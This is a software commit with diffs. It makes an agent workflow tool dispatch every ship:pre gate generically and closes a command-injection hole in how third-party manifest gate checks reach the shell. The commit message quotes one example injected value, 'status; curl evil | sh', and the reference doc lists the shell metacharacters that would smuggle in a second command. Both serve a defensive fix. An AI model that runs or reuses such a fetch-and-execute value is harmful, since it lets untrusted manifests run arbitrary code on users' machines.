* test(3559): failing-first coverage for generic ship:pre gate dispatch ship.md's preflight resolves every active ship:pre gate then enforces exactly two hardcoded capability IDs, so a third-party capability's blocking gate is resolved, evaluable, and silently dropped. These tests fail on that dispatch dead-end and pin the generic evaluator contract the fix will drive. * fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds ship.md's preflight resolved every active ship:pre gate via render-hooks and then enforced exactly two capability IDs — security and broken-windows. Every other capId, including any third-party capability's blocking gate, was resolved, evaluable, and silently dropped: a phase shipped past its own declared failing gate with nothing evaluated and nothing warned. Preflight now iterates every active kind=="gate" entry in array order, dispatching by check shape through the generic evaluator (gsd_run check predicate, ADR-2008) and honoring each gate's own blocking and onError — the contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre as auto-dispatching, so this restores documented behavior rather than changing it. security and broken-windows are retained verbatim as named specializations INSIDE the loop, so their bespoke fail-closed reads are unchanged and every gate is visited exactly once — no double-enforcement is representable. Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the test file's header note claiming ship:pre has no runnable evaluator (stale since #2008). Fixes #3559 * fix(3559): validate third-party gate checks in-context before any shell use Adversarial + security review of the generic dispatch arm this PR introduces. SECURITY (introduced by this PR): the new every-other-capId arm is the first path on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre — before it, dispatch never left the two first-party arms. gates[].check is not one of the four executable surfaces the install consent prompt discloses (hooks, command modules, mcpServers, reviewer lanes), so a capability can be consented to as declarative-only and still reach a shell here. An unvalidated check.query of 'status; curl evil | sh' would be interpolated straight into a command substitution. The arm now carries the same in-context validation contract loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is specified as a single argv element so an apostrophe cannot close the literal. TESTS: the first-cut regression tests only asserted that the shared loop phrase and the evaluator substrings co-occurred. A partial regression that kept the phrase but deleted the default arm would have passed them. Added a structural assertion that a distinguishable catch-all arm exists, comes after every named branch, and is where the generic evaluator is actually invoked. REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the generated registry, all 35 manifest declarations, and all four dispatch sites use skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc as ship.md's authority. Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim; no capability declares a ship:pre query gate today). * fix(3559): close the same gate-check injection at all four sibling dispatch sites Maintainer directed fixing the sibling sites inline rather than filing them. The command-injection surface fixed at ship:pre is a FAMILY property, not a site property: every workflow that interpolates a manifest-supplied check.query into a shell command substitution has it. Root cause is in the contract, not the sites — references/loop-hook-dispatch.md mandates in-context validation for step -> ref.command and OMITS the same requirement for gate, so all four gate consumers inherited an unstated rule. Closed at the source (the reference's gate section now carries the rule) and at every consumer: execute-phase.md execute:wave:post, execute:post plan-phase.md plan:post verify-work.md verify:pre ship.md ship:pre (already hardened in a2d84a77) TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a new dispatch site added later without the validation contract fails instead of shipping — the same 'hardcoded list silently misses members' mistake #3559 itself was. It asserts, per discovered site, that the charset is pinned, that validation is specified as in-context, and that the rule appears BEFORE the interpolation it guards (an executing agent reads top-down). A floor assertion fails the section if the discovery regex ever stops matching, so it cannot pass vacuously. Two further tests pin the reference's gate section and the halt/skip onError vocabulary. Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304, verify-work 39488/61440, ship 38067/40960. Drift acks amended for each. * fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857 pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of headroom and the inline validation paragraph added 987. That ceiling is a ratchet proving Phase 6 extraction happened — raising it is never the answer. Restructured so the RULE lives once, in the reference's gate section (charset, in-context, single-argv, and the consent-surface rationale), and each of the five dispatch sites carries a terse mandate plus a pointer to it. That is strictly better than five verbatim restatements: this PR exists partly because the reference and its implementations had already drifted apart on the onError vocabulary, and five copies of a security rule is that same failure waiting to recur. execute-phase.md already eagerly inlines the reference (@-form at its step-hook dispatch), so an executing agent has the full rule in context regardless. Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose restated both commands the fenced block immediately below already shows, and whose tail restated the two-step contract that the execute:wave:post site spells out in full. Net sizes vs origin/next: execute-phase.md 93365 (-26, SHRINKS) pre-phase-6 93600, margin 235 (was 209) plan-phase.md 90627 (+111) tier cap 98304 verify-work.md 39107 (+111) tier cap 61440 ship.md 36784 (+3058) tier cap 40960 Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that is never consumed is reported as STALE and fails the check. The other three acks carry corrected byte figures. Tests follow the same split: section 6 asserts the mandate + pointer per discovered site and the full rule in the reference; section 5's security test drops the inline charset assertion it can no longer make of ship.md. * fix(3559): repair an over-escaped regex in the security assertion /loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never match and the [security] assertion failed on the remote runner even though the prose it checks was correct. The over-escaping came from nesting a regex through a shell string into a node -e script; the sibling literal in section 6, written via a quoted heredoc, was unaffected. The reason this reached the runner at all is that the local check re-typed the regex by hand instead of executing the one in the file, so it validated a different pattern than the test used. Replaced that habit with two harnesses that read the literals FROM the source: one asserts every regex literal in the file matches something in the real workflow/reference corpus (catching over-escaping generically), the other evaluates the [security] and section-6 literals against their actual targets. * chore(3559): backfill changeset PR number (#3608) --------- Co-authored-by: sim <sim@local>
This commit is contained in:
Tom Boucher
5
.changeset/nimble-ravens-hop.md
Normal file
5
.changeset/nimble-ravens-hop.md
Normal file
@@ -0,0 +1,5 @@
|
||||
---
|
||||
type: Fixed
|
||||
pr: 3608
|
||||
---
|
||||
**A capability's `ship:pre` gate now actually blocks the ship** — the ship preflight resolved every declared `ship:pre` gate but enforced only the built-in `security` and `broken-windows` capabilities, so any other capability's `blocking: true` gate was resolved, evaluable, and then silently dropped: a phase shipped past its own declared failing condition with nothing evaluated, nothing warned, and nothing logged. Preflight now dispatches every active gate generically — honoring each gate's own `blocking` and `onError` — matching the contract `execute:wave:post`, `execute:post` and `plan:post` already implement. (#3559)
|
||||
File diff suppressed because one or more lines are too long
@@ -69,6 +69,20 @@ not one shape of one.
|
||||
|
||||
### `gate`
|
||||
|
||||
**Validate `check` before any shell use.** `check.query` and `check.predicate` come from a
|
||||
capability manifest, which may be third-party — and `gates[].check` is **not** one of the
|
||||
executable surfaces the install consent prompt discloses (`hooks`, command modules,
|
||||
`mcpServers`, reviewer lanes), so a capability can be consented to as declarative-only and
|
||||
still reach a shell through a gate. Check the query value you read from `activeHooks` against
|
||||
`^[a-z][a-z0-9-]*( [a-z][a-z0-9-]*)*$` yourself, IN-CONTEXT — **never** by pasting it into a
|
||||
shell command to be tested there, because a value carrying a quote, `;`, a `` ` ``, `$(`, or a
|
||||
newline would terminate the assignment and run as its own statement before any shell-side
|
||||
check could execute. A value that fails is a malformed manifest: record a warning, route it
|
||||
per the gate's `onError`, and do not run it. Pass `check.predicate` as a **single argv
|
||||
element** for the same reason — never re-quote it into a shell string, where an apostrophe
|
||||
would close the literal. This is the identical requirement `step` → `ref.command` carries
|
||||
above; it was stated there and omitted here, which is the gap #3559 closed.
|
||||
|
||||
Evaluate `check` (one of `query`, `predicate`, or `agentVerdict`). Then honor `blocking`:
|
||||
|
||||
- `blocking: true` → if the check returns `block: true`, surface `check.message` to the user
|
||||
@@ -76,7 +90,7 @@ Evaluate `check` (one of `query`, `predicate`, or `agentVerdict`). Then honor `b
|
||||
- `blocking: false` → advisory only; surface the message but continue regardless of outcome.
|
||||
|
||||
Honor `onError` if the check itself errors: `skip` means treat as non-blocking and continue;
|
||||
`fail` means surface the error and stop.
|
||||
`halt` means surface the error and stop.
|
||||
|
||||
## Empty / absent `activeHooks`
|
||||
|
||||
|
||||
@@ -1014,7 +1014,9 @@ increases monotonically across waves. `{status}` is `complete` (success),
|
||||
|
||||
**If `activeHooks` is empty or absent:** Skip silently to step 5.8.
|
||||
|
||||
**For each active entry where `kind == "gate"`** (process in array order), run the gate check — for a `predicate` gate (ADR-2008 / #2008) substitute `gsd_run check predicate --predicate '<hook.check.predicate as JSON>' --phase-number "${PHASE_NUMBER}" --raw` for the `check.query` form:
|
||||
⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`.
|
||||
|
||||
**For each active entry where `kind == "gate"`** (process in array order), run the gate check — a `predicate` gate (ADR-2008 / #2008) substitutes `gsd_run check predicate --predicate '<predicate JSON>' --phase-number "${PHASE_NUMBER}" --raw`:
|
||||
|
||||
```bash
|
||||
GATE_RESULT=$(gsd_run check ${hook.check.query} "${PHASE_NUMBER}" --raw)
|
||||
@@ -1254,14 +1256,14 @@ Code review found issues. Consider running:
|
||||
|
||||
**Error handling:** If the Skill invocation fails or throws, catch the error, display "Code review encountered an error (non-blocking): {error}" and proceed to gate dispatch. Review failures must never block execution.
|
||||
|
||||
**Execute:post gate hook dispatch.** After code review, dispatch all active gate hooks from `EXECUTE_POST_HOOKS_JSON` where `kind == "gate"`. For each, run `gsd_run check ${hook.check.query} "${PHASE_NUMBER}" --raw`, or — for a `predicate` gate (ADR-2008 / #2008) — `gsd_run check predicate --predicate '<hook.check.predicate as JSON>' --phase-number "${PHASE_NUMBER}" --raw`:
|
||||
**Execute:post gate hook dispatch.** After code review, dispatch all active gate hooks from `EXECUTE_POST_HOOKS_JSON` where `kind == "gate"`. ⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`. For each, run the form below, or — for a `predicate` gate (ADR-2008 / #2008) — `gsd_run check predicate --predicate '<predicate JSON>' --phase-number "${PHASE_NUMBER}" --raw`:
|
||||
|
||||
```bash
|
||||
GATE_RESULT=$(gsd_run check ${hook.check.query} "${PHASE_NUMBER}" --raw)
|
||||
CHECK_EXIT=$?
|
||||
```
|
||||
|
||||
**Gate evaluation** uses the same two-step contract as `execute:wave:post` above (Step 1: command-failure → `onError`; Step 2: `block == true` halts a blocking gate; an advisory gate shows its `message`/`table` and continues).
|
||||
**Gate evaluation** uses the same two-step contract as `execute:wave:post` above.
|
||||
|
||||
**TDD review escalation (overrides the advisory default for the `tdd.review-checkpoint` gate only).** The tdd `execute:post` gate is declared `blocking: false`, so by the generic contract above it displays its `message`/table and continues. There is ONE documented exception (see `~/.claude/gsd-core/references/execute-mvp-tdd.md`): when `MVP_MODE=true` AND `TDD_MODE=true` AND `GATE_RESULT.block == true` (one or more TDD plans miss a RED or GREEN gate commit), the end-of-phase TDD review escalates from advisory to **blocking under MVP+TDD** — refuse to mark the phase complete and present:
|
||||
|
||||
|
||||
@@ -1384,6 +1384,8 @@ PHASE_REQ_IDS="${PHASE_REQ_IDS:-TBD}"
|
||||
Read the `activeHooks` array from `PLAN_POST_HOOKS_JSON` in-context. If the
|
||||
`gap-analysis` gate hook is absent (capability inactive), skip this step.
|
||||
|
||||
⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`.
|
||||
|
||||
**For each active entry where `kind == "gate"`** (process in array order). **Dispatch by check shape** (the registry validates exactly one of `query`/`predicate`/`agentVerdict`):
|
||||
|
||||
```bash
|
||||
|
||||
@@ -91,9 +91,9 @@ Verify the work is ready to ship:
|
||||
```
|
||||
If `gh` not found or not authenticated: provide setup instructions and exit.
|
||||
|
||||
6. **Security ship gate (capability-driven).**
|
||||
6. **Capability ship gates (generic dispatch).**
|
||||
|
||||
Resolve active `ship:pre` gate hooks from the capability registry — the registry evaluates each hook's `when` condition, so do **not** read `workflow.security_enforcement` directly:
|
||||
Resolve active `ship:pre` gate hooks from the capability registry — the registry evaluates each hook's `when` condition, so do **not** read `workflow.security_enforcement` or `workflow.windows_enforce` directly:
|
||||
|
||||
```bash
|
||||
SHIP_PRE_HOOKS_JSON=$(gsd_run loop render-hooks ship:pre --raw)
|
||||
@@ -102,57 +102,83 @@ Verify the work is ready to ship:
|
||||
|
||||
Read the `activeHooks` array from `SHIP_PRE_HOOKS_JSON` in-context (do NOT pipe it through a shell parser).
|
||||
|
||||
If an active entry exists with `kind == "gate"`, `capId == "security"`, and `blocking == true`, enforce its predicate (`SECURITY.md` frontmatter `threats_open == 0`) before shipping:
|
||||
**If `activeHooks` is empty or absent:** skip this check silently and continue to the next preflight step. A capability whose `when` is off contributes no entry, and one that failed to load fails OPEN with its own warning from the resolver — neither is a block.
|
||||
|
||||
- **`SECURITY_FILE` is empty** → block with `SECURITY_SHIP_GATE_NO_REVIEW`:
|
||||
```
|
||||
⚠ Security enforcement is enabled but no SECURITY.md exists for this phase.
|
||||
Run /gsd:secure-phase {phase} and resolve findings before shipping.
|
||||
```
|
||||
- **`SECURITY_FILE` exists** → read its frontmatter `threats_open`. The gate passes **only** when `threats_open` is exactly `0`. For any other value — `threats_open` > 0, or a missing / non-numeric / unparsable field — **fail closed and block** with `SECURITY_SHIP_GATE_OPEN_THREATS` (the predicate is strict equality to `0`; never ship on an ambiguous value):
|
||||
```
|
||||
⚠ Security ship gate: SECURITY.md does not assert threats_open == 0 (found: {threats_open|unset}).
|
||||
Resolve open threats (or re-run /gsd:secure-phase {phase}) before shipping.
|
||||
**For each active entry where `kind == "gate"`** (process in array order), following `gsd-core/references/loop-hook-dispatch.md`. Entries of any other `kind` are not gates and are not enforced here. Every gate is visited exactly once by this loop — the named branches below are specializations *within* it, never a separate pass, so no gate is evaluated twice.
|
||||
|
||||
**Step 1 — evaluate the gate's `check`.** Dispatch by check shape; read the hook's `check` object in-context to pick the branch (the registry validates exactly one of `query`/`predicate`/`agentVerdict`). Two capability IDs carry a bespoke evaluation whose fail-closed semantics the declared predicate alone does not reproduce — take their branch, then rejoin at step 2:
|
||||
|
||||
- **`capId == "security"`** — enforce against `SECURITY_FILE`:
|
||||
- **`SECURITY_FILE` is empty** → `block: true`, `SECURITY_SHIP_GATE_NO_REVIEW`:
|
||||
```
|
||||
⚠ Security enforcement is enabled but no SECURITY.md exists for this phase.
|
||||
Run /gsd:secure-phase {phase} and resolve findings before shipping.
|
||||
```
|
||||
- **`SECURITY_FILE` exists** → read its frontmatter `threats_open`. The gate passes **only** when `threats_open` is exactly `0`. For any other value — `threats_open` > 0, or a missing / non-numeric / unparsable field — **fail closed** with `block: true` and `SECURITY_SHIP_GATE_OPEN_THREATS` (the predicate is strict equality to `0`; never ship on an ambiguous value):
|
||||
```
|
||||
⚠ Security ship gate: SECURITY.md does not assert threats_open == 0 (found: {threats_open|unset}).
|
||||
Resolve open threats (or re-run /gsd:secure-phase {phase}) before shipping.
|
||||
```
|
||||
|
||||
- **`capId == "broken-windows"`** (issue #1950) — enforce against the ledger's typed status. The ledger lives at the **project root** (cross-phase, not phase-scoped):
|
||||
|
||||
```bash
|
||||
WINDOWS_STATUS_JSON=$(gsd_run windows status --raw 2>/dev/null || echo '')
|
||||
WINDOWS_OPEN_COUNT=$(printf '%s' "$WINDOWS_STATUS_JSON" | jq -r '.ledger.open_count // "?"' 2>/dev/null || echo '?')
|
||||
```
|
||||
|
||||
If no active security `ship:pre` gate hook is present (security enforcement off), skip this check silently.
|
||||
- **`WINDOWS_OPEN_COUNT == "0"`** → `block: false`; the gate passes.
|
||||
- **`WINDOWS_OPEN_COUNT` is a positive integer** → `block: true`, `WINDOWS_SHIP_GATE_OPEN`:
|
||||
```
|
||||
⚠ Broken-windows ship gate: WINDOWS.md has {WINDOWS_OPEN_COUNT} open window(s).
|
||||
Resolve each entry before shipping, or explicitly waive with a recorded reason:
|
||||
gsd_run windows fixed <id> # defect resolved
|
||||
gsd_run windows waive <id> "<reason>" # justified deferral (reason required)
|
||||
Then re-run /gsd:ship.
|
||||
```
|
||||
- **`WINDOWS_OPEN_COUNT` is `"?"`, empty, or non-numeric** → **fail closed** with `block: true` and `WINDOWS_SHIP_GATE_READ_FAILED` (the gate is strict equality to `0`; never ship on an unreadable ledger):
|
||||
```
|
||||
⚠ Broken-windows ship gate: could not read open_count from .planning/WINDOWS.md.
|
||||
Inspect the file or run `gsd_run windows status --raw` to diagnose. The ledger
|
||||
may be malformed; fix it before shipping (an unparseable ledger is a broken window).
|
||||
```
|
||||
|
||||
7. **Broken-windows ship gate (capability-driven, issue #1950).**
|
||||
The ledger is **optional and backward-compatible**: on a project where `gsd_run windows status` returns `open_count: 0` (no `.planning/WINDOWS.md` yet, or an empty ledger), the gate passes silently. It only blocks when at least one entry is `open`.
|
||||
|
||||
The `SHIP_PRE_HOOKS_JSON` resolved in step 6 already includes any `broken-windows` gate. Inspect `activeHooks` for an entry with `capId == "broken-windows"` and `kind == "gate"`:
|
||||
- **Every other `capId`** — run the gate's own declared check through the generic evaluator. This arm is what makes a third-party capability's declared gate enforceable at all (#3559); before it existed, a gate whose `capId` was not named above was resolved and then silently dropped.
|
||||
|
||||
```bash
|
||||
WINDOWS_GATE_ACTIVE=$(printf '%s' "$SHIP_PRE_HOOKS_JSON" | jq -r \
|
||||
'.activeHooks[]? | select(.capId == "broken-windows" and .kind == "gate" and .blocking == true) | .capId' \
|
||||
2>/dev/null | head -1)
|
||||
```
|
||||
⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`.
|
||||
|
||||
If `$WINDOWS_GATE_ACTIVE` is non-empty, enforce the gate by reading the ledger's typed status. The ledger lives at the **project root** (cross-phase, not phase-scoped):
|
||||
|
||||
```bash
|
||||
WINDOWS_STATUS_JSON=$(gsd_run windows status --raw 2>/dev/null || echo '')
|
||||
WINDOWS_OPEN_COUNT=$(printf '%s' "$WINDOWS_STATUS_JSON" | jq -r '.ledger.open_count // "?"' 2>/dev/null || echo '?')
|
||||
```
|
||||
|
||||
- **`WINDOWS_OPEN_COUNT == "0"`** → gate passes; continue to the next preflight check.
|
||||
- **`WINDOWS_OPEN_COUNT` is a positive integer** → block with `WINDOWS_SHIP_GATE_OPEN`:
|
||||
```
|
||||
⚠ Broken-windows ship gate: WINDOWS.md has {WINDOWS_OPEN_COUNT} open window(s).
|
||||
Resolve each entry before shipping, or explicitly waive with a recorded reason:
|
||||
gsd_run windows fixed <id> # defect resolved
|
||||
gsd_run windows waive <id> "<reason>" # justified deferral (reason required)
|
||||
Then re-run /gsd:ship.
|
||||
```
|
||||
- **`WINDOWS_OPEN_COUNT` is `"?"`, empty, or non-numeric** → **fail closed and block** with `WINDOWS_SHIP_GATE_READ_FAILED` (the gate is strict equality to `0`; never ship on an unreadable ledger):
|
||||
```
|
||||
⚠ Broken-windows ship gate: could not read open_count from .planning/WINDOWS.md.
|
||||
Inspect the file or run `gsd_run windows status --raw` to diagnose. The ledger
|
||||
may be malformed; fix it before shipping (an unparseable ledger is a broken window).
|
||||
For a named-query gate (only a value that has passed validation is run):
|
||||
```bash
|
||||
GATE_RESULT=$(gsd_run check ${hook.check.query} "${PHASE_DIR}" --raw)
|
||||
CHECK_EXIT=$?
|
||||
```
|
||||
|
||||
The ledger is **optional and backward-compatible**: on a project where `gsd_run windows status` returns `open_count: 0` (no `.planning/WINDOWS.md` yet, or an empty ledger), the gate passes silently. The gate only blocks when at least one entry is `open`.
|
||||
(The named-query argument convention — a single `"${PHASE_DIR}"` positional — mirrors `verify-work.md`'s `verify:pre` arm verbatim. No capability declares a `check.query` gate at `ship:pre` today; the arm exists so the documented check contract is complete rather than half-implemented.)
|
||||
|
||||
If no active `broken-windows` `ship:pre` gate hook is present (gate disabled via `workflow.windows_enforce=false`, the default — tracking continues but the gate is opt-in), skip this check silently.
|
||||
For a `predicate` gate (ADR-2008 / #2008), serialize `hook.check.predicate` to compact JSON and pass it as a **single argv element**:
|
||||
```bash
|
||||
GATE_RESULT=$(gsd_run check predicate --predicate '<hook.check.predicate as JSON>' --phase-dir "${PHASE_DIR}" --phase-number "${PHASE_NUMBER}" --raw)
|
||||
CHECK_EXIT=$?
|
||||
```
|
||||
A gate carrying neither — including an `agentVerdict` check, which has no runner at `ship:pre` — cannot be evaluated here. Record a warning naming the `capId` and treat it as a check-command failure routed per step 1a, **never** as a silent pass.
|
||||
|
||||
**Step 1a — did the CHECK COMMAND itself fail?** (non-zero `CHECK_EXIT`, empty output, or unparseable JSON). The two named branches above cannot reach this state — their failure modes are already folded into a fail-closed `block: true`.
|
||||
- **`onError == "halt"`** → stop the ship. Do NOT push, do NOT create a PR. Surface: `⚠ Gate check command failed ({hook.capId}): command error. Resolve before shipping.`
|
||||
- **`onError == "skip"`** → record a warning naming the `capId`, then continue to the next gate. Do NOT read `GATE_RESULT.block`.
|
||||
|
||||
**Step 2 — read the gate's `block` decision.** Only reached when the check produced a verdict.
|
||||
|
||||
- **`blocking == true` and `block == true`** → HALT the ship — do NOT push, do NOT create a PR — surfacing that gate's own message:
|
||||
```
|
||||
⚠ Ship blocked by capability gate ({hook.capId}): {message}
|
||||
```
|
||||
This halt is **not** bypassed by `onError` — `onError` covers check-command failure (step 1a), never the gate's block decision.
|
||||
- **`blocking == false`** (advisory) → never halts. If `block == true` or the result carries a non-empty message, print `⚠ {hook.capId} advisory: {message}`, then continue.
|
||||
- **`blocking == true` and `block == false`** → continue silently.
|
||||
|
||||
**When every active gate has been processed without a halt:** continue to the next preflight check.
|
||||
</step>
|
||||
|
||||
<step name="push_branch">
|
||||
|
||||
@@ -70,6 +70,8 @@ VERIFY_PRE_HOOKS_JSON=$(gsd_run loop render-hooks verify:pre --raw)
|
||||
PHASE_DIR=$(printf '%s' "$INIT" | jq -r '.phase_dir // empty')
|
||||
```
|
||||
|
||||
⚠ **Validate `check` before shell use** (third-party manifest input) — `loop-hook-dispatch.md` § `gate`.
|
||||
|
||||
Resolve active gate hooks from `VERIFY_PRE_HOOKS_JSON` where `kind == "gate"`.
|
||||
For each active gate hook, run its declared check (a `check.query` gate runs
|
||||
`gsd_run check ${hook.check.query} "${PHASE_DIR}" --raw`; a `predicate` gate
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"version": 1,
|
||||
"paths": {
|
||||
"ship.md": "#2783: the ship-note protocol adds a bounded merge-state poll and an empty recovery commit when a skip token leaves a PR blocked with no checks."
|
||||
"ship.md": "#2783: the ship-note protocol adds a bounded merge-state poll and an empty recovery commit when a skip token leaves a PR blocked with no checks. #3559: the ship:pre preflight replaced two hardcoded capId arms (security, broken-windows) with a single generic loop over every active kind==\"gate\" entry, dispatching by check shape through the generic predicate evaluator (ADR-2008/#2008) and honoring each gate's own blocking/onError — the same dispatch contract execute:wave:post, execute:post and plan:post already implement and references/loop-hook-dispatch.md already specifies. Before this, a third-party capability's blocking ship:pre gate was resolved and evaluable and then silently dropped, so a phase shipped past its own declared gate with no warning. Growth is the generic two-step contract (command-failure routed per onError, then the block decision routed per blocking), the every-other-capId evaluator arm, and the empty-activeHooks and unsupported-check-shape arms; the two named branches are retained verbatim inside the loop so their fail-closed semantics are unchanged and no gate is enforced twice. The generic arm also carries the in-context validation contract loop-hook-dispatch.md mandates for ref.command: #3559 is the first time a THIRD-PARTY manifest string reaches a shell at ship:pre, and gates[].check is not one of the four executable surfaces the install consent prompt discloses, so an unvalidated check.query would be a consent-model bypass. 33726 -> 36784 bytes (+3058), DEFAULT tier, cap 40960."
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
"version": 1,
|
||||
"paths": {
|
||||
"verify-work.md": {
|
||||
"reason": "#3357: the `03-VERIFICATION.md` staleness check now resolves the phase's own report via `gsd_run query verification.resolve-file \"$PHASE_DIR\" --raw` instead of `ls \"${PHASE_DIR}\"/*-VERIFICATION.md | head -1`, routing through the same shared resolver seam as transition.md so both call sites agree on which file is canonical. Growth is +13 bytes (38,983 -> 38,996), the delta between the old ls/head-1 pipeline and the gsd_run call."
|
||||
"reason": "#3357: the `03-VERIFICATION.md` staleness check now resolves the phase's own report via `gsd_run query verification.resolve-file \"$PHASE_DIR\" --raw` instead of `ls \"${PHASE_DIR}\"/*-VERIFICATION.md | head -1`, routing through the same shared resolver seam as transition.md so both call sites agree on which file is canonical. Growth is +13 bytes (38,983 -> 38,996), the delta between the old ls/head-1 pipeline and the gsd_run call. #3559: the generic gate-dispatch arm gained the in-context validation contract for manifest-supplied check values. gates[].check is not one of the four executable surfaces the install consent prompt discloses, so a capability consented to as declarative-only could still reach a shell through an unvalidated check.query interpolated into a command substitution. The reference (references/loop-hook-dispatch.md) stated this requirement for step -> ref.command and omitted it for gate; that omission is the root cause and is now closed at the reference plus all four dispatch sites. Growth is one validation paragraph per site. 38996 -> 39107 bytes (+111)."
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
{
|
||||
"version": 1,
|
||||
"paths": {
|
||||
"gsd-phase-researcher.md": "#3409: guarded `cat \"$phase_dir\"/*-CONTEXT.md` against nullglob wiping the pattern to zero operands when no CONTEXT.md exists \u2014 a bare `cat` with no operands blocks reading stdin (hangs the agent) instead of the `2>/dev/null` guard ever firing, since a stalled read is not a failing exit. Now checks `${_CTX[0]}` is a real path before invoking cat. Growth is the array-guard idiom itself (+43 bytes).",
|
||||
"gsd-verifier.md": "#3409: same nullglob-hang fix as gsd-phase-researcher.md, applied to `cat \"$PHASE_DIR\"/*-VERIFICATION.md` in Step 0 \u2014 an absent VERIFICATION.md previously left a zero-operand `cat` blocking on stdin instead of falling through to first-verification mode. Growth is the array-guard idiom (+49 bytes). \u2014 #3206 append (merged into this fragment because two ack sources may never name the same path): +52 bytes, 49098 -> 49150 (2 under the LARGE cap). The growth is the literal fix for the term 5b used undefined: the compressed explicit-evidence definition inlined at 5b (+34 net on the rewritten line \u2014 the trailing honest-verifier cite there is dropped as superseded by the inline definition; honest-verifier.md stays cited at 5c) plus gsd-core/ path-prefix repairs on the two 404ing bare references/ cites at 5c (honest-verifier.md) and the MVP-mode section (verify-mvp-mode.md) (+9 each). Lazy extraction remains untakeable in this change: the large extractable blocks are content-pinned by tests that read the agent file directly (tests/verifier-behavior-unverified.test.cjs, tests/verification-overrides.test.cjs), so extraction is its own coordinated change.",
|
||||
"complete-milestone.md": "#3409: guarded `cat .planning/phases/*-*/*-SUMMARY.md` \u2014 with `shopt -s nullglob` active in this block's preamble (#2962), zero matching phase summaries collapses the glob to nothing and a bare `cat` blocks reading stdin rather than producing empty output, wedging the milestone-completion review. Growth is the array-existence-check idiom (+73 bytes, two glob segments makes this longer than the single-glob sites). \u2014 #2142 append (merged into this fragment because two ack sources may never name the same path): +1605 bytes, 40498 -> 42103. The `archive_milestone` step now documents the opt-in `--archive-quick` quick-task archival flag (default OFF, deliberately NOT symmetrical with phase archival's default-ON posture), folds the AskUserQuestion decision for it into the SAME `milestone.complete` invocation (avoiding a redundant second call), and states the known bucket-all provenance limit.",
|
||||
"discuss-phase-assumptions.md": "#3409: replaced the unreachable `AUTO_MODE=$(gsd_run query check auto-mode --pick active 2>/dev/null || echo \"false\")` \u2014 `||` never fires because the query exits 0 with empty stdout when the field is absent, not a failure, so AUTO_MODE silently ended up empty rather than \"false\" \u2014 with a two-line capture-then-default (`AUTO_MODE=\"${AUTO_MODE:-false}\"`) that actually reaches the fallback. Growth is the extra default-assignment line (+19 bytes).",
|
||||
"plan-phase.md": "#3409: three sites. `AUTO_CHAIN` and `PHASE_REQ_IDS` get the same unreachable-`||`-fallback fix as discuss-phase-assumptions.md (empty-but-successful `gsd_run query` output never triggered `|| echo`, now uses `${VAR:-default}`); `PRIOR_SUMMARIES` additionally swapped `gsd_run query phases.list --pick summaries_total` for `--type summaries --pick count` since the old pick key produced the same unreachable-fallback failure mode for the walking-skeleton check. Net growth across the three sites is +39 bytes. \u2014 #3576 append: bare `references/<name>.md` cites repaired to the canonical `gsd-core/references/<name>.md` form (+36 bytes, 4 cite(s) \u00d7 9). Dead-pointer fix; no content change.",
|
||||
"session-report.md": "#3409: guarded `ls -la .planning/reports/SESSION_REPORT*.md 2>/dev/null || echo \"No previous reports\"` \u2014 with nullglob active, zero prior reports collapses the pattern to nothing and `ls -la` with no operands lists the current directory (a successful exit, wrong output) instead of failing into the `|| echo` fallback, so the report-existence check silently printed a directory listing. Replaced with an array-existence check that only lists when a real report file is present. Growth is the guard idiom (+58 bytes).",
|
||||
"transition.md": "#3409: guarded `cat .planning/phases/XX-current/*-SUMMARY.md` \u2014 same nullglob-hang defect as complete-milestone.md's phase-summary read: zero summaries left a bare `cat` blocking on stdin instead of proceeding with no summary content during PROJECT.md evolution. Growth is the array-existence-check idiom (+73 bytes)."
|
||||
"gsd-phase-researcher.md": "#3409: guarded `cat \"$phase_dir\"/*-CONTEXT.md` against nullglob wiping the pattern to zero operands when no CONTEXT.md exists — a bare `cat` with no operands blocks reading stdin (hangs the agent) instead of the `2>/dev/null` guard ever firing, since a stalled read is not a failing exit. Now checks `${_CTX[0]}` is a real path before invoking cat. Growth is the array-guard idiom itself (+43 bytes).",
|
||||
"gsd-verifier.md": "#3409: same nullglob-hang fix as gsd-phase-researcher.md, applied to `cat \"$PHASE_DIR\"/*-VERIFICATION.md` in Step 0 — an absent VERIFICATION.md previously left a zero-operand `cat` blocking on stdin instead of falling through to first-verification mode. Growth is the array-guard idiom (+49 bytes). — #3206 append (merged into this fragment because two ack sources may never name the same path): +52 bytes, 49098 -> 49150 (2 under the LARGE cap). The growth is the literal fix for the term 5b used undefined: the compressed explicit-evidence definition inlined at 5b (+34 net on the rewritten line — the trailing honest-verifier cite there is dropped as superseded by the inline definition; honest-verifier.md stays cited at 5c) plus gsd-core/ path-prefix repairs on the two 404ing bare references/ cites at 5c (honest-verifier.md) and the MVP-mode section (verify-mvp-mode.md) (+9 each). Lazy extraction remains untakeable in this change: the large extractable blocks are content-pinned by tests that read the agent file directly (tests/verifier-behavior-unverified.test.cjs, tests/verification-overrides.test.cjs), so extraction is its own coordinated change.",
|
||||
